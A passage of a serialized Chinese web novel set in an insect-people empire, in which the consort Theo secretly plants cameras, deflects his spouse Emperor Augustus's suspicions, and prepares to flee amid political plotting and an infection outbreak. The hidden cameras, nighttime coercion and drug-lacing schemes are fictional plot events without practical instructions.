里面的说明书很简单,稍微操作几下就能上手。很快,连接的几个监控摄像头的画面就出现在了控制器上。 图像还蛮清楚的。会被声音和动作触发摄像模式。 “以彼之道还施彼身。” 其实现在想来, 那些摄像头应该也不是xp,只是单纯的控制和监控。 西奥环顾四周, 然后将一个摄像头放在了书架的两本书之间,正对着床铺, 能够拍到卧室内大部分空间。 “宿主, 这样做, 会不会有点冒险啊?” 西奥不知道吗?当然知道,但是现在这种情况下,比起被发现, 他更无法接受的是,什么都不知道。这个意料之外的摄像头, 可以成为他额外的眼睛。 “如果被发现,就说是送给奥古斯特的礼物。”他之前不是承认喜欢被拍吗, 那正好用上这个。 第二个摄像头被放在了会议室里。西奥知道,奥古斯特偶尔也会在这里办公。 第三个被放在了健身房,第四个被放在了餐厅。第五个被放在了尽头处的小窗户那里。 里里外外,几个奥古斯特经常出现的地方,都放了一颗额外的眼睛。 也不知道这些摄像头会拍到什么,告诉他什么。 “有没有可能拍到奥古斯特痛哭悔恨的模样呢?他其实还是爱着我的。”西奥说。 “宿主……”系统很铁不成钢,“不要对反派有所期待啊!” “他是什么样的虫,你不是已经看得很清楚了吗!” “开个玩笑,恋爱脑已经被杀死了。” 接下来,西奥又马不停蹄赶往了研究院。他还有个三千万的单子要完成。除了这三千万,他也打算给自己提点现金出来,好为后面的跑路做好准备。 单子交给财务以后,倒是很快就完成了。财产转移却遇到了一点困难,毕竟现金还是太扎眼。西奥想来想去,最终选择了购买黄金。 几千年过去,人类都灭绝了,黄金依然保值! 正在研究做成金条方便,还是做成首饰比较划算的时候,办公室的门被敲响了。 “汉斯?!”西奥有些震惊地看着进来的亚雌。因为先前袭击受伤的事情,汉斯几天后虽然出院了,却一直在休假。西奥还特地跟他说过,想休息多久就休息多久,什么时候完全恢复了再来上班。包括身.体上的和心理上的。 没想到今天就见到了他本虫。 西奥赶紧起身迎上去,“你怎么来院里了?快坐下吧!你不是应该好好在家休息吗?” 汉斯脸上的淤青已经淡了不少,但右手腕处还包裹着厚厚的纱布,小身板依旧单薄得让西奥揪心。明明就还是重伤未愈的样子,怎么就来上班了呢? “我听说,布里奇要离开了?”亚雌一开口,还是工作。 西奥点点头,“他毕竟不是首都星的虫。说是想回家看看,安顿好再过来,我已经答应了。” “他这么说,但如果回家以后,改变主意不回来了呢?” 这个问题,其实西奥也考虑过。“就算那样,现在法案已经通过了,接下来关于雄虫的精神力能源化研究,会得到很多的支持和资源倾斜。我已经收到一些明里暗里的邀请了,找几个雄虫志愿者完全不成问题!” 听到西奥这样说,汉斯才终于放下心来,“我还以为布里奇是因为项目不顺利才离开的。” “怎么会呢?法案通过以后,项目只会一天比一天顺利。”西奥安慰道。 “嗯!”亚雌眼睛发亮,“我一直相信,很快就能见到用雄虫精神力也驱动飞船的一天!” “到时候我跟院长一起去,见证历史!” “好。”西奥微笑着答应,暗自却在心里计算着时间。新仪器的搭建,估计至少也得一年半载,那时候自己应该早就离开了。如果不幸没能逃走,估计就要被生出虫蛋的奥古斯特直接消灭了。好像无论如何,都看不到项目完全落地、新飞船起飞的时候了。 他以为自己已经准备好了。但当汉斯把这些对未来的、具体的憧憬,摆到他的面前,让他意识到,自己本可以做到、看到怎样成果,现如今却只能被迫放弃的时候,依旧还是难免伤心。 不算失去记忆的时间,他在研究院工作的时间,满打满算也只有几个月。但哪怕只有这段时间,他也已经跟这个地方,跟这里工作的虫建立了某种联系。 等西奥离开,他一定会很怀念办公室的落地窗,汉斯给他买的小零食,以及实验室里的科特鼠。 前提是,他能活着离开。 “对了!”汉斯打断了西奥自顾自的伤感,他艰难地用左手点开扣在右边小臂上的手环,“虽然大的完整仪器坏掉了,但我那里还有个简化版本的精神力能源化装置。” “打算送给您的,就当新年礼物的!” 西奥凑过去看汉斯打开的图片,里面是个非常小的器械,大概只有三十多公分高,外形有点像套在手臂上的机械外骨骼。跟先前展示的那款几米高的仪器一比,简直就是个小鼻噶。 “这么小?!”西奥都不知道还有简化版本,“那为什么不干脆用这个呢?” “这个版本之所以小,是因为它没有存储精石的功能。”汉斯解释道,“换句话说,如果没有精神力,它的能源输出也会立刻消失。” 西奥明白了,完整版本就好像是充电宝,随时想用就能用。这个简易版本,就好比是充电线,只有把插在一个雄虫上面的时候,才能用来给飞船充电。 “另外,如果雄虫的精神力太少,就可能面临被吸干的风险。而且这个用起来还会有点痛。” 这么一想,这东西着实鸡肋。 “所以,它存在的意义是?”当成礼物送给自己吗? “最开始用来做实验的。另外,您是可以用它的。” “我能用?” 汉斯点点头,“您的精神力等级在那里,所以能支撑起这个用量。而且就算您自己的精神力用完了,您的精神海跟虫皇陛下是连通的。所以无论怎样都不至于用完的!” “所以你把这个给我看是……?” “您要不要试试它?” 原来如此,兜兜转转,还不是为了科研。 “这个之前没做过实验吗?” “做过了,但还是想在新的仪器做出来之前,再测几个参数,看看能不能提升一下转化效率。” 说是礼物,其实就是骗他做实验啊!西奥觉得有点好笑,“我倒是想帮你,但是我现在连精神力都没有,怎么帮?” “哎?怎么会?我看到您经常去科特鼠的繁育房待着,还以为您的精神力已经恢复了。” “恢复了一部分,恢复到了可以让科特鼠跳芭蕾舞的程度。” 汉斯的眼睛都睁大了,“真的假的?” 眼下也没有什么紧要的事情,西奥索性带着汉斯去了实验室。他把其中一只做了标记的叫茅斯的科特鼠放出来,托在手心里,用语言控制让它单脚跳着转圈。 “太厉害了吧!怎么能把科特鼠调教成这样啊?!”汉斯下意识想鼓掌,但很快意识到自己只剩一只手,只能改成了拍桌子。 对方这么捧场,西奥也忍不住倾囊相授,“其实也很简单。对每一代科特鼠都进行挑选,选其中最聪明的一对繁育下一代,然后再进行挑选,就会有几只能够执行一些比较复杂的指令了。甚至你还可以自定义一些指令。” “那是不是可以训练它们做间谍了!”汉斯连连竖大拇指,“精神力的语言控制部分好像一直是个很大的空白。您花大把时间做这个,是打算发一篇高水平的开创性的文章吗?” 不。西奥做这些,本来是想找个时间用科特鼠搞个可爱的小场景,比如跳着芭蕾比个心之类的。然后用这个告诉奥古斯特,他的精神力回来了一部分。 这本是个精心准备的惊喜。 但后来……发生了太多事。便一直没有机会告诉奥古斯特,至于现在,更不可能告诉他了。 于是原本的惊喜,便成了有惊无喜。 “对。”不愿说起这些伤心往事,西奥索性顺着汉斯的话安慰自己,“一切都是为了科研。” 但不论如何,汉斯还是把简易版雄虫精神力充电线留给了西奥,“反正我也用不着。” 然后顺便见了见办公室里的其他同事,便听从西奥的命令,又回家休息去了。 办公室里多了一个雄虫精神力充电线,然后再次恢复了平静。 西奥正准备继续买黄金,视频监控器的提醒突然响了一声。这代表,他放置的监控正在录制当中,有什么正在动的东西、或者声音,出现在了摄像头范围内。 在点开视频的前一秒,西奥的心脏轻轻颤了一下。 他会看到什么呢?会是奥古斯特吗? 但等他点开以后,却只看到了一只科特鼠,正在努力骑旁边的另一只鼠,发出吱吱吱的愉快叫声。仔细一看,两只还都是公的! 哦对,他刚才去实验室的时候,顺便也在科特鼠的繁育室里安了个摄像头,用来观察鼠鼠们的生活状态。 吓死了,他还以为是…… 想到这里,西奥把监控的提醒改成了震动。否则等科特鼠们集体活跃起来,自己怕不是要被吵死了。 接下来的时间内,除了整三点还在尝试打电话,西奥一直在疯狂购物。价值几千万的黄金,被从不同的平台分批购入。有的做成了小巧的金豆子,有的做成了饰品,外面还喷了涂层用来伪装。还有一些被做成了长条的薄片状,方便到时候缠在腰上或者胳膊上上。 等好不容易完成这些交易,西奥才发现,原来监控视频已经发来好几个提醒了。 西奥慌忙打开,就看到了正在会议室里的奥古斯特,他的对面,是第一军团长萨迦。 “说真的,你不准备告诉西奥关于弗雷德的事情吗?”萨迦问。 “为什么要告诉他?”奥古斯特反问道。 “因为……他是你的雄主。” “你会把所有事情都告诉你的现任雄主吗?” 萨迦皱眉,“这不一样吧。” “不管怎么说,弗雷德也是西奥的虫崽。” “正因如此,所以我才要等。等……虫蛋生下来再说吧。我现在怀了蛋,很需要他的信息素。” “奥古,你到底打的什么主意?” “如果直接告诉西奥,他肯定会离开的。”奥古斯特解释道,“毕竟在失忆之前,他就已经想离开了。” “有……这么严重吗?” 奥古斯特点头,“不过西奥是个非常有责任心的雄虫。一个脆弱的新生虫蛋,肯定能把他拴住,让他心甘情愿留下。到时候不管说什么,都没关系了。” 这话听起来怪怪的。“但是你和西奥又不是……” 话说到一半,萨迦突然停住了。在摄像头的视野里,雌虫逐渐放大,直到那双阿凯特斯蓝眼睛占据了大半画面。 跟萨迦对视的那一瞬间,西奥下意识摒住了呼吸。 “奥古,你在这个会议室里,安了摄像头吗?” 作者有话说: 拼命码字中啊啊啊 第54章 第54章追问[VIP] 有虫在监视自己。 会议室内的摄像头很快被遮挡移除。除此之外, 在皇家护卫队的搜查之下,又在其他几个地方搜出了同款摄像头。 信号反向追踪暂时还没结果。但好在,最近能够自由进出霍尔德宫殿的虫本就很少。稍微排查一下, 便能得到结果。 奥古斯特第一个问的虫其实是弗雷德,他以为这是虫崽出于担忧之下的监视。但对方很快答复说不是他。 那就只剩下…… 奥古斯特闭上眼睛, 用精神力感应了一下西奥的位置。还在精神力研究院, 并且没有移动。 是西奥在监视他吗?为什么?是察觉到了什么吗?跟萨迦刚刚的对话, 他听到了多少? 最近西奥有些不正常, 奥古斯特已经注意到了。 雄虫一向很喜欢他的身.体。上次怀孕涨.奶的时候, 更是在虫崽破壳前把所有乳汁都吞进了自己肚子里, 一滴都没浪费。 西奥会专注地盯着那里, 用手掌温柔有技巧地按摩,将滞涨的乳.汁一点点挤出,然后用嘴唇或者某些容器, 将乳汁尽数带走。明明是很正常的哺乳行为,却在西奥嘴里成为了一场盛大又亲昵的欢愉。 所以等虫崽断奶后, 奥古斯特的乳汁仍然持续了一段时间,就是因为西奥喜欢。这次也是一样, 奥古斯特甚至还用了点药, 好让乳.汁早点下来。 西奥肯定已经看到了。但这次, 他好像无动于衷。不仅如此,他的风格也改变了许多,不再温柔亲昵, 而是用很多的工具,代替了手指和唇舌。他们之间的直接接触变少了, 奥古斯特能感觉得到,西奥甚至有些心不在焉。 这让奥古斯特有些心慌意乱。尽管他并未有任何表示, 尽管选择他将所有的情绪一股脑埋藏在地下,但并不代表那些情绪会减弱或者消失。 因为奥古斯特很清楚,自己的身.体,是吸引西奥的重要条件之一。 这副躯壳对于西奥来说,已经失去吸引力了吗?又或者更糟糕的,西奥发现了什么…… 奥古斯特用最短的时间,亲自前往了精神力研究院。 抵达之后,他连电梯都没坐,直接展开翅膀,从大楼中央直通顶层的通道飞了上去。 西奥办公室的门紧闭着。奥古斯特敲了两下,里面没有回应。 但项链显示,雄虫的确在里面。 奥古斯特没再犹豫,精神力切开锁芯,直接破门而入! 窗子大开着,一阵冷风吹了进来,角落的窗帘飘飘忽忽,像是无法安定的心。房间内空空荡荡,根本没有虫。 那枚印着罗科星草的项链正静静躺在宽大办公桌的正中央。 奥古斯特刚把项链拿起来,门口就传来一声咒骂,“草!谁把我办公室门弄坏了?!” 房门打开,四目相对。 西奥正喘着粗气,头发也有些湿,脖子上还搭着一条毛巾。不知道是运动去了,还是洗澡去了。 “抱歉。”奥古斯特率先开口,“我敲门没有回应,而且感应到项链就在里面,一时担心,就破门而入了。” “维修的费用我来承担,会尽快把门修好……” 西奥摇摇头,“那些都不重要。但你是不是也得对我有点信心?” “我不是什么几岁的小虫崽了,而且研究院最近的安保比以往严格了许多,我在这里是安全的。” “是,对不起。”奥古斯特再次道歉,“是我的问题。” “那如果以后再出现这样的情况?”西奥问。 “我会先用手环联系你。”然后话锋一转,“你刚才去哪了?” “去楼下健身房了。”西奥用毛巾擦了擦额头上渗出的汗,“因为跑步的时候,项链会跟着弹起来,所以就留在了办公室。” “这个时间健身?” “嗯,心情不好,所以……运动缓解一下。” 奥古斯特等不及了,索性直击要害,“我今天在家里的会议室中,发现了一个摄像头。是你安的吗?” “啊,对!”西奥表情坦然,点头承认道,“怎么发现的?” “安装之前,为什么不问问我?” “你之前在卧室和我的办公室装摄像头的时候,不也没问过我吗?”西奥反问道,然后表情变得有点局促,“其实,本来是个惊喜。” “你之前不是说,喜欢这种偷拍的视角,但是因为我不喜欢,已经很久没有拍了。我就想着,或许我可以配合你一次……”西奥耸耸肩,“现在看起来,搞砸了?” 奥古斯特根本就不喜欢偷窥,那都是一些应付西奥的蹩脚借口。但是一旦说出了第一个谎言,就要用无数个谎言去圆它。“在……会议室里?” “嗯,我眼馋那张宽大的桌子很久了。而且高度刚刚好。”西奥做了一个托住双腿的姿势,“我一直很好奇,如果长桌被打湿,会反射亮光吗?看起来会比原来的桌面更加平整吗?” 顺着西奥的想象,奥古斯特喉结滑动了一下。他再次向前一步,接着身高优势将比他稍矮的雄虫困在了自己的胸膛和桌沿之间。距离被缩短,空气被压缩。 他们离得很近,近到奥古斯特都能感受到西奥身上散发出来的热度和湿气。雄虫下意识向后仰了一下,手掌撑在身后的桌角,倾斜出一个后退的角度。他微微别开头,避开了虫皇的视线,呼吸变得粗重而急促。 “你……太近了。”西奥说,但并没有马上伸出手推拦,“如果你想把我的办公桌也弄湿,是不是最好先把门锁修好?” 奥古斯特瞥了一眼坏掉的门,后退了半步,原本炙热粘稠的空气这才重新有了流淌的余地。 “那你看到了什么吗?”奥古斯特继续问。 “有什么吗?今天刚装上,我还没来得及看。” “控制端还在吗,我能看看吗?”奥古斯特又问。 “在啊!”西奥说着,开始在抽屉里翻找起来,然后很快拿出一块迷你控制器,刚要递过去,却在奥古斯特伸手来接的时候,突然收回,“你这么在意摄像头和监控的事情,不会是背着我……” “偷虫了吧?!” “我是被你标记的雌虫。其他雄虫的信息素,对我来说无异于一种毒药。” “啊。”西奥脸上戏谑的笑消失了,控制端也很快到了奥古斯特手中。 四个对应的摄像头都已经因为遮挡变成了黑屏。奥古斯特找到所有的录制视频,时间也都对的上。 如果西奥遮遮掩掩,或者毁掉了终端,奥古斯特便能确定,雄主一定是知道了什么。但现如今这样的坦诚和直白,反倒打消了他的怀疑。 或许,真的就只是为了……情趣。 “这里面有几段视频,我需要删掉。” “为什么?”西奥凑上来,“你有什么见不得我的黑暗秘密吗?” “不,只是有些事情,你还是不知道比较好。”奥古斯特说,“为了你好。” 西奥没有直接回答,他双臂抱胸,沉默了一会儿,“你没有问我,为什么心情不好。” “什么?” “我刚才说,我这个点去运动是因为心情不好。你没问我为什么不好。”西奥强调,“你只在意摄像头。” 奥古斯特回过味来了,“抱歉。因为刚刚发现了摄像头的事情,有点着急了。” “所以,你为什么心情不好?” “弗雷德离开了。”西奥说,“可能不应该是什么大事,对吧?但我就是很不安,我也不知道为什么。担忧像是蚂蚁一样,爬满我的全身。” “我甚至会梦到小弗。但是梦里却有两个他,一个笑,一个哭,一个说雄父我爱你,另一个说雄父你救救我。就好像、就好像……”西奥眼中有泪光闪烁,“就好像,我要失去自己的虫崽了。” 湿漉漉的金眸看向奥古斯特,“你知道为什么吗?” “为什么我会做这种梦?为什么我会有这种感觉?为什么、为什么我都变得不像自己了?” “我连跟你do哎都没有什么兴趣了。你知道吗?!” 面前的雄虫悲伤、无措、困惑、茫然。有那么一瞬间,奥古斯特真的想要把真相和盘托出:我很抱歉,我们其实有两个虫崽,但其中一个已经去世了。是我杀了他。 我、杀了他…… 奥古斯特张了张嘴,“我……” “我不知道,抱歉。” 金眸里的光熄灭了。“所以我去跑步了。” “如果我能累到不行,或许就不会想这么多,感受到这么多了吧?或许我能好受点。” 奥古斯特依旧沉默。 “奥古斯特,”西奥突然问,“你爱我吗?” “当然。” 西奥摇摇头,“不是当然这种回答。而是看着我的眼睛,很郑重地、完整地说一句,我爱你。” “应该不难吧,我说过很多次了。” 或许对于西奥来说很容易,但是对奥古斯特来说,的确有些难以启齿。让他说“来上我”都比说“我爱你”要容易得多。 但是难得雄主提出这样具体的、简单的要求,奥古斯特还是决定满足他,“我……” 刚一开口,手环突然响了。 奥古斯特低头一看,“是弗雷德。” “说完再走。”西奥乞求道。 “是任务相关的,他说……”奥古斯特认真看着手环,一时忘了抬头看看自己的雄主,“我马上回来。” 雌虫匆匆转身离开。仿佛着急逃离什么。 而在奥古斯特离开办公室之后,西奥长长地出了一口气。 “宿主好强啊!居然成功把反派糊弄过去了!” “是吗?”西奥却一点都没觉得高兴,更没觉得自豪,“可他连糊弄我一句,都不愿意。” “宿主还没死心啊?不是已经做好准备要走了吗?” “大概死了。” “但死了,又不代表不会疼。” …… 而同样在首都星上,另一对雌虫和雄虫也在进行着一场秘密的交谈。 “什么时候让我永久标记你?”第四军团长诺拉维亚从一个军雌身上起来,问道。 “想都别想!”军雌笑着答道,“我的身体、我的灵魂都已经献给了至高无上的虫神。” “那也是虫神让你跟我睡觉的吗?”诺拉维亚继续问道。 “合作需要有牺牲,有诚意。”军雌懒懒应道。 “跟我睡觉是牺牲?”诺拉维亚逼问,他抬了一下手指,像是摆弄提线木偶一般,扯着雌虫手腕,提起了他的小臂。 军雌立刻变了脸,精神力化成弯刀,蹭着雄虫的脸颊飞了出去,“别在我身上用这个!” 提线被斩断,诺拉维亚举起双手做投降状。“好,不用。” “现在法案已经通过了,你有想过怎么办吗?”诺拉维亚终于开始说正事,“第三军团的战舰,绝大部分也是雌虫作为能源驱动的吧?法案通过后,都没法在明面上用了。” “战力直接削减大半。奥古斯特这是想把我们都逼入绝路吧?” “你怕了?”雌虫问。 “我不怕,你怕了吗?”诺拉维亚似乎当真毫不在乎,笑着叫出对方的名字,“罗森塔尔上将?” “绝路不要怕。绝路代表,我们马上要绝处逢生了。”第三军团长罗森塔尔,看起来也非常放松。 “说的容易。单论兵力,我们加起来对上第一军团,也一样毫无胜算。而且你上次给的布里奇那条线,不就没用吗?”诺拉维亚问,“所以我很怀疑,你的后手真的管用吗?” 罗森塔尔听了摇头,“战力没那么重要,关键的是先机。” “而且,谁说……布里奇没用的?” “等着吧。马上,他就要起作用了。” 作者有话说: 估计要死人(虫)了! 第55章 第55章感染[VIP] “你说。” “微簿表面上是依托虫神教进行心理疏导的活动, 但是背地里一直在售卖非法的精神力药剂。你还记得菲德尼试剂吗?” “这东西有很强的成瘾性,大概在十年前就被禁止了。” “对,但在这之前, 菲德尼曾经被用来治疗莫德神兵的感官失能综合症。所以……” “你怀疑阿弗是偷偷到这里买药?” “我买到了几管菲德尼,没有标签, 没有封口, 想要在这里面混入一点病毒、或者布氏感染患者的体.液, 真的轻而易举。” “但是, 我不知道, 我……”视频对面的弗雷德有些梗住了, “如果真的出现了问题, 哥哥应该会告诉我的。哪怕不跟你们说,也该跟我说才对。我们从小就是什么都说的……” “而且如果真的感官失能综合症,那应该很明显才对。视听嗅触味都会收到影响, 很容易就能……”话说到这里,弗雷德突然停住了。他低下头, 却掩盖不住脸上的懊悔神情,“哥哥出事的前几天, 我们一起出去吃饭。有一道菜, 是活体布丁。” “我看他一勺勺吃得挺好, 就问他好不好吃,他说是甜的。我就也挖了一勺。然后发现,苦得要命!!” “我当时以为他是故意装作没尝出苦味, 好骗我上当。现在看来,是不是有可能他的味觉已经……” 另一边的奥古斯特沉默片刻, “我甚至不知道,你们前几天还一起去吃了饭。” “啊, 这是我的主意,不要怪哥哥。” “怎么可能怪他……”要怪,奥古斯特也只会怪自己。糟糕的基因,遗传的疾病,还是一些细节的忽视。他并不是一个合格的雌父。 “假设,阿弗是因为这些非法药物导致被感染,背后的源头呢,查到了吗?” “微簿卖的非法药剂很多,而且非常谨慎,我是靠着跟哥哥一样的这张脸才能拿到菲德尼。但是既然这个活动依托虫神教,那就说明背后的东家最有可能是……” “第三军团长罗森塔尔。” 弗雷德点点头,“他是虫神教最大的靠山,同时也掌握着好几家制药公司,要做通非法药物的地下流通,并不难。” “虫神教。”奥古斯特提醒道,“圣子莱纳德,也是虫神教的。” 弗雷德没有避讳,“对,这次能够顺利找到微簿的地址,还多亏了他。” “我是说,他终归是虫神教的圣子。” 这次弗雷德沉默了一会儿,“我知道分寸。我不会被他标记的,如果发现他有什么问题,也绝不会心软。” “你误会我的意思了。”奥古斯特摇头,“我是说,如果你信任他,而这种事情上他表现得有些纠结的话,不妨给他点时间。” 弗雷德有些惊讶地挑了挑眉,“我还以为您反对我跟雄虫在一起。” “……反对归反对,但莱纳德是个好虫崽。不冲突。” “谢了,爸爸。”弗雷德知道说到这个地步,已经是奥古斯特的极限了,“说回正题。罗森塔尔这个时候应该还没离开首都星吧?要趁机抓了他吗?” “不行。没有实际的直接证据表明他跟非法药物流通有关,贸然抓他,第三军团必反。” “又不是打不过他。”弗雷德小声说。 “战争一定会造成伤亡的,所以……” “一定是作为最后的不得不采取的手段。我知道!”弗雷德说,“但是一想到很可能是他杀了哥哥,我就没办法……” “你现在是第一军团的中将,冷静点。” 弗雷德干笑几声,“说得轻巧,你难道就不想手刃害死哥哥的虫吗?!” “总之,我不会现在抓捕罗森塔尔。如果你想说服我,就拿出更多的证据来。” “是,虫皇陛下!”心不甘情不愿应了,但是在挂断视频之前,弗雷德还是说了一句,“爱你,拜拜!” 就连虫崽的表达也这么自然流畅吗?奥古斯特开始反思自己,“我……” 弗雷德还以为他有什么事情要说,于是停止了即将挂断视频的动作。 “我也……” 等奥古斯特卡壳了半天,弗雷德才意识到什么,他大笑起来,“你也你也!” “行了,知道了,拜拜!” 通话结束,奥古斯特便返回西奥的办公室去找雄主,打算努努力,把没说完的话说完。却发现虫已经不在了。 隔壁办公室一个研究员告诉他,“西奥院长去实验室了。” 这次奥古斯特吸取了教训,在交代好维修房门的事情后,给西奥发了一条消息:【你在做实验吗?办公室的门已经在修了。什么时候回家?】 西奥很快回复:【晚饭的时候我会回家。】 【那我等你一起。】 【不用了,你先回就好。】 【好。】奥古斯特离开了。 没有虫再提起表说我爱你的事情。于是,这件小事就这么被轻轻略过了。 西奥把两样东西摆在了科特鼠茅斯面前,分别指着它们,“这是纸巾,这是胡萝卜。” “纸巾?” 科特鼠拿起胡萝卜就啃。 “错了错了……”看来训练科特鼠当间谍的事情,还需要从长计议。 在监控视频被发现,到奥古斯特抵达研究院的这段时间,西奥做了不少事情。 先是在整三点终于联系上了默兹力,对方在简单了解情况后,同意在A区边缘的凯斯特小行星带接应他。“首都星巡逻太密集,我的飞船不敢靠太近。” 西奥还尝试在简短的通话中,稍微提了几句阿朵耶夫的情况,“我觉得,他可能还没忘了你。” “或许吧。但他太软弱了,崽。他不是你,敢于出逃。”默兹力对阿朵耶夫的评价毫不留情,“他现在有雌君、有房子、有虫崽。这才是他真正想要的生活。跟我在星盗飞船上的日子,只能作为他虫生中短暂的冒险,不可能作为终点!” “爱情?哈哈哈!”默兹力大笑,“我确实挺喜欢他的。但那东西又不能当饭吃。能够畅快地活下去才是我想要的。” “你现在都要从你家虫皇雌君身边逃跑了,这个道理,不是应该比我更懂吗?” 末了还没忘记要价,“对了,接应一次的价格是十万星币,现金交易,接受等价的黄金或者珠宝。” “我可是你亲生的虫崽啊!” “对啊,否则更贵。” 这个行星带距离首都星不算远,但是也需要小型飞船将近八个小时的飞行行程。而这段距离,西奥就只能靠自己了。 公共交通倒是很多很方便,但是奥古斯特一拦截一个准。 恰好此刻,吉尔来找他了。“我听说你要更换研究院的监控系统?可不可以在我的实验室里多安几个?” “那个都好说。有个问题想问问你,”西奥热络地跟吉尔商量,“如果我想走非法途径离开首都星,你有办法吗?” 吉尔没有办法。他毕竟指只是个遵纪守法的医生。但好在,他给西奥指了条明路。“光选会的雄虫有时候会瞒着雌父雄父偷溜出去玩,他们有途径。” 事实上,光选会不仅有途径,而且有飞船。一条龙服务下来,只要三百万星币。 西奥立刻爽快地付了钱。但无论如何,飞船不可能瞬间移动出现在研究院,让他直接开着跑路。时间上根本来不及。 他还是需要,不得不面对虫皇即将到来的质问和怀疑。万一没能过了这一关,恐怕…… 因着还能提供信息素,他的性命应当无忧,但是其他的就不好说了。 西奥尽量不去想那个最糟糕的后果。但他依旧没办法控制自己的躯体反应。一想到要面对奥古斯特正面的质疑,他就忍不住心跳加快,呼吸急促。 这是恐惧和紧张下的躯体反应。 西奥回想起醒来后第一次见到奥古斯特的场景,或许,那也并不是怦然心动、一见钟情,而是恐慌害怕,肾上腺素狂飙罢了。 如果现在都控制不住,待会只会更加严重。而想要隐藏一棵树木的最好办法,是把它藏进森林。 西奥摘下项链,带上毛巾前往了研究院的健身房。 好在,他成功打消了对方的怀疑。 一个阶段性的胜利,至少他给自己争取到了更多的自由时间,可以稳步实施自己逃跑的计划。 但是没有一丁点的喜悦。 “胡萝卜?”西奥命令道。 科特鼠继续啃胡萝卜! 西奥的指尖落在鼠背上,轻轻抚摸,“真棒!” 然后又拿出两样东西,“这是机械电闸总开关,这是飞船电磁钥匙。” “电闸总开关?” 科特鼠没理他。 生活就这样再次回归平静。 年终述职会议结束,几个军团长纷纷回归自己的驻扎地。新的一年进入了普通的日常。奥古斯特也恢复了正常的规律的办公时间。弗雷德那边的任务似乎也快要结束了。 至于西奥,他白天一半时间用来推进研究院的项目,另一半时间用来逐步实施自己的逃跑了。 金条到货了。飞船买好了。能源充满了。驾驶学会了。停在指定非监控航道下方了。小型飞行器也买好了。就连科特鼠,都学会掰电闸开关了。 晚上,则使用试管和道具给奥古斯特提供信息素,顺便锻炼身体。 偶尔在深夜,西奥也会在沉睡的奥古斯特耳边说出一个个准确的指令,验证自己的语言控制能力。 却不再是以往的亲密和情.色。 “抬起右手。” “掐住自己的脖子。” “不要松开。不要醒来。” 西奥在白天依旧扮演一个尽职的院长和丈夫。只有在深夜,他才能卸下面具,喘息片刻。 恨意一点点累积,一层层叠加,让语言在深夜化为真实的肢体暴力,不为所知地悄然施加。 但他一向有分寸,会在奥古斯特真的窒息前,及时让他停止,然后,“治疗你自己。” 痕迹缓慢消失,却并不能带给西奥平静。 有时候,或许是因为疼痛,又或者因为窒息,会有一些乳.汁溢出的痕迹。为了避免奥古斯特起疑心,西奥会用湿纸巾清理点。 他缓慢擦着这具让自己生理性.迷恋的躯体,一点点将痕迹拭去。他依旧觉得这具身体相当完美,尤其是沉睡时,肌肉放松,力量蛰伏,却依旧有着漂亮的线条和肌理。但也愈发感受到恨意在胸腔内汹涌。 同时西奥也意识到,跟阿朵耶夫一样,他恨奥古斯特,是因为太爱他。 但正如默兹力劝他的那样,爱情虽好,却不能当饭吃。他渴望亲密真诚、灵魂相接的爱情,而作为完美政治机器的奥古斯特,给不了他。 失忆前的自己,或许是因为没有那么爱,才能愿意为了交易、为了虫崽留在虫皇身边。什么恩爱异常,只是演技精湛罢了。 直到弗雷德、真正的弗雷德死亡,一切便开始分崩离析。 这几个月,像是一场梦幻。美丽,却不真实。被无数谎言充斥。 而一个充满谎言的婚姻,是支撑不了太久的。 如果一切还没有轰然倒塌,说明其中有虫在透支自己,勉力支撑。 西奥甚至拟好了一份离婚协议书,只等着离开的那天,能够拍在奥古斯特的脸上!然后硬气地说一句: 老子要离婚!!! 生活表面风平浪静,内里波涛暗涌。 西奥一直在耐心等待。等待系统所说的机会,那是一个具体的时间。 “会发生一件很重要的事情,让反派不得不亲自前去处理。到时候宿主就可以趁机逃跑了!” 快了。按照系统给的时间,马上就要…… 这天清晨,一切照旧,似乎也是平常普通的一天。 奥古斯特刚到办公室,就收到了一通紧急通讯。来自第一军团长萨迦。 通常情况下,萨迦不会贸然使用紧急通讯的。奥古斯特心头一紧,迅速接通。 对面视频里是萨迦。他的脸上不知为何有一道血痕,头发有些乱,呼吸也肉眼可见的粗重急促,显然状态非常不对劲。 “萨迦,冷静一下。怎么回事?!” “我……”萨迦平复了一下呼吸,扯出一个笑,“我被感染了。” 作者有话说: 每天靠着评论区苟活写文~ 第56章 第56章死亡[VIP] “什么?”那一瞬间, 奥古斯特以为自己听错了。 “布氏感染。我现在就在隔离室内,跟你说话的这会儿,正在一刻不停抽取自己的精神力!”萨迦言简意赅地解释道。 “如果你现在还有精神力, 就说明没有被感染。”奥古斯特指出。 “对,准确来说, 我现在是疑似感染的状态。不是完全的死刑, 而是死缓。你也应该知道我为什么要急着给你打电话。” 因为感染的窗口期很短。这通电话, 就是为了告知奥古斯特, 让他能够及时解除萨迦作为第一军团长的各种敏感权限, 避免连累整个军团。 “诺亚!”奥古斯特自然也知道对方的意思。因为就在不久之前, 他进入疑似感染的状态时, 几乎经历过同样的流程。 诺亚迅速到位,皇家护卫队开始远程接管部分第一军团的运作。但是他们跟K区毕竟有段距离。鞭长莫及,能够做的事情实在有限。 现如今最要紧的, 还是要有一个虫能在第一军团那边稳住局势。 “如果我……”萨迦像是在交代遗言,“让弗雷德接替第一军团长的位置。” “这个……” “我知道你在想什么, 你总是不放心他,觉得时间太短, 崽还太小……但他已经做得足够好了。”萨迦打断了奥古斯特的话, “而且他毕竟是你教出来莫德神兵, 战力仅在你我之下。” “第一军团急需一个够分量的虫来坐镇。” “我现在搭乘自己的星舰,也能赶过去。”奥古斯特说。 “别闹了。你不可能过来。就好象你之前出事,我也不会去首都星一样。”萨迦嗤笑一声, “你前脚刚走,后脚首都星就要乱了。” “大局为重, 不是吗?” “而且我还是你刚刚指定的继任者。我出事了,你那边才更要稳住。” 这句话提醒了奥古斯特。或许, 是因为自己指定了萨迦作为继任者,对方才把矛头指向他的。是他的决定害了萨迦。 “所以你不能出事。”奥古斯特没有说出自己的推测,“放松,说不定跟我那次一样,只是虚惊一场。” “但愿。奥古,我可一点都不想死啊!”短暂的通话中,萨迦出了很多汗,额头和颧骨都反射着水光,“但这次是我的现任雄主夏尔巴,当着我的面直接承认的。” “他说他对不起我,他还说,是他脑袋里面有个声音,逼着他这么做的。”萨迦低下头,声音听起来有些许哽咽,“他已经死了。” “在我面前,以一种非常诡异的姿势开枪自尽了。就是枪口抵在后脑勺,那种枪决罪犯的姿势。” “所以你脸上的血是他的?”奥古斯特问。 “什么?该死!”被提醒的萨迦这才意识到自己脸上还有未干的血痕,赶紧从旁边抽了纸巾过来,擦拭干净。 